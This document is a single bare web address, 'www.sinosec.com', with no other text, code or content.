www.sinosec.com